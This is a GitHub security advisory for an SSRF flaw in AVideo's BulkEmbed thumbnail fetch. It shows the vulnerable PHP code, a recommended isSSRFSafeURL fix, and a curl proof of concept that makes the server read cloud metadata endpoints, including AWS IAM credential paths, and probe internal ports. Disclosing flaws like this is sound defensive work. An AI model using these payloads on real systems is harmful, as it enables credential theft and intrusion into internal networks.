wwbn/avideo
Affected
- introduced
0, last affected25.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33294
AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources
Summary
The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.
Details
When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:
`plugin/BulkEmbed/save.json.php:68-105`
foreach ($_POST['itemsToSave'] as $value) {
foreach ($value as $key => $value2) {
$value[$key] = xss_esc($value2); // HTML entity encoding — irrelevant for SSRF
}
// ...
$poster = Video::getPathToFile("{$paths['filename']}.jpg");
$thumbs = $value['thumbs']; // ← attacker-controlled URL
if (!empty($thumbs)) {
$contentThumbs = url_get_contents($thumbs); // ← fetched without SSRF check
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs); // ← response saved to disk
}
}
// ...
$videos->setStatus('a'); // ← video set to active, thumbnail publicly accessible
The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.
All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:
plugin/Scheduler/Scheduler.phpplugin/LiveLinks/proxy.php (two call sites)plugin/AI/receiveAsync.json.phpobjects/aVideoEncoder.json.phpobjects/aVideoEncoderReceiveImage.json.phpBulkEmbed is the only URL-fetching endpoint that was not hardened.
This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.
PoC
Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.
Step 1: Authenticate and obtain session cookie
COOKIE=$(curl -s -c - "http://avideo.local/user" \
-d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')
Step 2: Send BulkEmbed save request with internal URL as thumbnail
curl -s -b "PHPSESSID=$COOKIE" \
"http://avideo.local/plugin/BulkEmbed/save.json.php" \
-d "itemsToSave[0][title]=SSRF+Test" \
-d "itemsToSave[0][description]=test" \
-d "itemsToSave[0][duration]=PT1M" \
-d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "itemsToSave[0][date]="
Expected response:
{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}
Step 3: Retrieve the SSRF response from the saved thumbnail
# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"
The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.
Cloud metadata example targets:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role nameshttp://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentialshttp://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadataInternal network scanning:
http://10.0.0.1:8080/ — probe internal serviceshttp://localhost:3306/ — probe local database portsImpact
Recommended Fix
Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:
$thumbs = $value['thumbs'];
if (!empty($thumbs)) {
if (!isSSRFSafeURL($thumbs)) {
_error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
continue;
}
$contentThumbs = url_get_contents($thumbs);
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs);
_error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
} else {
_error_log("ERROR thumbs={$thumbs} poster=$poster");
}
}Medium Basis: The source's own band: MODERATE
0, last affected 25.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0